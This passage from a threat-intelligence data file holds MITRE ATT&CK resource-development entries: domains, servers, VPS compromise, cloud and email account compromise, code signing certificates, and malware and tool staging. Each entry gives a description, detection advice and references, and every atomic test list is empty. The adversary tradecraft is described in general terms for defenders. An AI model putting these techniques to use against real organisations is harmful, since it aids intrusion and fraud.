([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_deprecated: false x_mitre_detection: |- If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - PRE x_mitre_version: '1.3' x_mitre_data_sources: - 'Internet Scan: Response Content' type: attack-pattern id: attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9 created: '2021-03-17T20:33:20.127Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1608/004 external_id: T1608.004 - source_name: ATT ScanBox description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.' url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks - source_name: Gallagher 2015 description: Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016. url: http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/ - source_name: FireEye CFR Watering Hole 2012 description: Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020. url: https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1587.002: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf type: attack-pattern created: '2020-10-01T01:41:08.652Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1587.002 url: https://attack.mitre.org/techniques/T1587/002 - url: https://en.wikipedia.org/wiki/Code_signing description: Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016. source_name: Wikipedia Code Signing modified: '2022-04-25T14:00:00.188Z' name: Code Signing Certificates description: |- Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: |- Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Malware Repository: Malware Metadata' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1584.003: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0 type: attack-pattern created: '2020-10-01T00:55:17.771Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1584.003 url: https://attack.mitre.org/techniques/T1584/003 - source_name: NSA NCSC Turla OilRig url: https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf description: 'NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.' - source_name: ThreatConnect Infrastructure Dec 2020 url: https://threatconnect.com/blog/infrastructure-research-hunting/ description: 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.' - source_name: Mandiant SCANdalous Jul 2020 url: https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation description: Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021. - source_name: Koczwara Beacon Hunting Sep 2021 url: https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2 description: Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021. modified: '2022-04-25T14:00:00.188Z' name: Virtual Private Server description: |- Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig) Compromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: |- Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Internet Scan: Response Content' - 'Internet Scan: Response Metadata' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1586.003: technique: modified: '2022-10-21T14:21:57.991Z' name: Cloud Accounts description: |- Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud) A variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: 'Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).' x_mitre_platforms: - PRE x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.0' x_mitre_contributors: - Francesco Bigarella type: attack-pattern id: attack-pattern--3d52e51e-f6db-4719-813c-48002a99f43a created: '2022-05-27T14:30:01.904Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1586/003 external_id: T1586.003 - source_name: Awake Security C2 Cloud description: 'Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022.' url: https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/ - source_name: MSTIC Nobelium Oct 2021 description: Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022. url: https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1586.002: technique: modified: '2023-04-11T01:07:48.218Z' name: Email Accounts description: |- Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)). A variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or [Phishing](https://attack.mitre.org/techniques/T1566) emails may evade reputation-based email filtering rules. Adversaries can use a compromised email account to hijack existing email threads with targets of interest. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_contributors: - Tristan Bennett, Seamless Intelligence - Bryan Onel x_mitre_deprecated: false x_mitre_detection: 'Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - PRE x_mitre_version: '1.1' type: attack-pattern id: attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b created: '2020-10-01T01:20:53.104Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1586/002 external_id: T1586.002 - source_name: AnonHBGary description: 'Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.' url: https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/ - source_name: Microsoft DEV-0537 description: Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022. url: https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1608.001: technique: modified: '2023-04-11T23:22:49.534Z' name: Upload Malware description: |- Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022) Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_contributors: - Kobi Haimovich, CardinalOps - Goldstein Menachem x_mitre_deprecated: false x_mitre_detection: |- If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - PRE x_mitre_version: '1.2' x_mitre_data_sources: - 'Internet Scan: Response Content' type: attack-pattern id: attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e created: '2021-03-17T20:09:13.222Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1608/001 external_id: T1608.001 - source_name: Volexity Ocean Lotus November 2020 description: 'Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.' url: https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/ - source_name: Talos IPFS 2022 description: 'Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023.' url: https://blog.talosintelligence.com/ipfs-abuse/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1583.001: technique: modified: '2024-04-13T14:03:04.511Z' name: Domains description: |- Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. Adversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute "IDN homograph attacks," creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing) Different URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims.(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique) Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering) Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_contributors: - Wes Hurd - Vinayak Wadhwa, Lucideus - Deloitte Threat Library Team - Oleg Kolesnikov, Securonix - Menachem Goldstein - Nikola Kovac x_mitre_deprecated: false x_mitre_detection: |- Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - PRE x_mitre_version: '1.3' x_mitre_data_sources: - 'Domain Name: Passive DNS' - 'Domain Name: Domain Registration' - 'Domain Name: Active DNS' type: attack-pattern id: attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3 created: '2020-09-30T17:09:31.878Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1583/001 external_id: T1583.001 - source_name: URI Unique description: Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024. url: https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF - source_name: PaypalScam description: Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017. url: https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/ - source_name: CISA IDN ST05-016 description: 'CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.' url: https://us-cert.cisa.gov/ncas/tips/ST05-016 - source_name: CISA MSS Sep 2020 description: 'CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October 1, 2020.' url: https://us-cert.cisa.gov/ncas/alerts/aa20-258a - source_name: bypass_webproxy_filtering description: Fehrman, B. (2017, April 13). How to Bypass Web-Proxy Filtering. Retrieved September 20, 2019. url: https://www.blackhillsinfosec.com/bypass-web-proxy-filtering/ - source_name: FireEye APT28 description: 'FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.' url: https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf - source_name: Domain_Steal_CC description: Krebs, B. (2018, November 13). That Domain You Forgot to Renew? Yeah, it’s Now Stealing Credit Cards. Retrieved September 20, 2019. url: https://krebsonsecurity.com/2018/11/that-domain-you-forgot-to-renew-yeah-its-now-stealing-credit-cards/ - source_name: tt_obliqueRAT description: Malhotra, A., McKay, K. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal . Retrieved July 29, 2022. url: https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html - source_name: tt_httrack_fake_domains description: Malhotra, A., Thattil, J. et al. (2022, March 29). Transparent Tribe campaign uses new bespoke malware to target Indian government officials . Retrieved September 6, 2022. url: https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html - source_name: Mandiant APT1 description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016. url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf - source_name: Categorisation_not_boundary description: MDSec Research. (2017, July). Categorisation is not a Security Boundary. Retrieved September 20, 2019. url: https://www.mdsec.co.uk/2017/07/categorisation-is-not-a-security-boundary/ - source_name: URI description: Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024. url: https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits - source_name: Redirectors_Domain_Fronting description: Mudge, R. (2017, February 6). High-reputation Redirectors and Domain Fronting. Retrieved July 11, 2022. url: https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/ - source_name: URI Use description: Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024. url: https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf - source_name: iOS URL Scheme description: Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024. url: https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html - source_name: lazgroup_idn_phishing description: 'RISKIQ. (2017, December 20). Mining Insights: Infrastructure Analysis of Lazarus Group Cyber Attacks on the Cryptocurrency Industry. Retrieved July 29, 2022.' url: https://web.archive.org/web/20171223000420/https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/ - source_name: httrack_unhcr description: 'RISKIQ. (2022, March 15). RiskIQ Threat Intelligence Roundup: Campaigns Targeting Ukraine and Global Malware Infrastructure. Retrieved July 29, 2022.' url: https://web.archive.org/web/20220527112908/https://www.riskiq.com/blog/labs/ukraine-malware-infrastructure/ - source_name: ThreatConnect Infrastructure Dec 2020 description: 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.' url: https://threatconnect.com/blog/infrastructure-research-hunting/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1608.002: technique: modified: '2022-10-20T20:16:32.599Z' name: Upload Tool description: |- Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. Tools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Intezer App Service Phishing) Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: |- If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105). x_mitre_platforms: - PRE x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.2' x_mitre_data_sources: - 'Internet Scan: Response Content' type: attack-pattern id: attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d created: '2021-03-17T20:31:07.828Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1608/002 external_id: T1608.002 - source_name: Dell TG-3390 description: Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018. url: https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage - source_name: Malwarebytes Heroku Skimmers description: 'Jérôme Segura. (2019, December 4). There''s an app for that: web skimmers found on PaaS Heroku. Retrieved August 18, 2022.' url: https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku - source_name: Dragos Heroku Watering Hole description: 'Kent Backman. (2021, May 18). When Intrusions Don’t Align: A New Water Watering Hole and Oldsmar. Retrieved August 18, 2022.' url: https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/ - source_name: Intezer App Service Phishing description: Paul Litvak. (2020, October 8). Kud I Enter Your Server? New Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022. url: https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1583.004: technique: modified: '2024-02-28T21:22:52.176Z' name: Server description: "Adversaries may buy, lease, rent, or obtain physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), enabling [Phishing](https://attack.mitre.org/techniques/T1566) operations, or facilitating [Command and Control](https://attack.mitre.org/tactics/TA0011). Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused.(Citation: Free Trial PurpleUrchin)(Citation: Freejacked) \n\nAdversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_contributors: - Dor Edry, Microsoft x_mitre_deprecated: false x_mitre_detection: |- Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - PRE x_mitre_version: '1.3' x_mitre_data_sources: - 'Internet Scan: Response Metadata' - 'Internet Scan: Response Content' type: attack-pattern id: attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337 created: '2020-10-01T00:48:09.578Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1583/004 external_id: T1583.004 - source_name: Freejacked description: Clark, Michael. (2023, August 14). Google’s Vertex AI Platform Gets Freejacked. Retrieved February 28, 2024. url: https://sysdig.com/blog/googles-vertex-ai-platform-freejacked/ - source_name: Free Trial PurpleUrchin description: Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024. url: https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/ - source_name: Koczwara Beacon Hunting Sep 2021 description: Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021. url: https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2 - source_name: Mandiant SCANdalous Jul 2020 description: Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021. url: https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation - source_name: ThreatConnect Infrastructure Dec 2020 description: 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.' url: https://threatconnect.com/blog/infrastructure-research-hunting/ - source_name: NYTStuxnet description: William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017. url: https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html 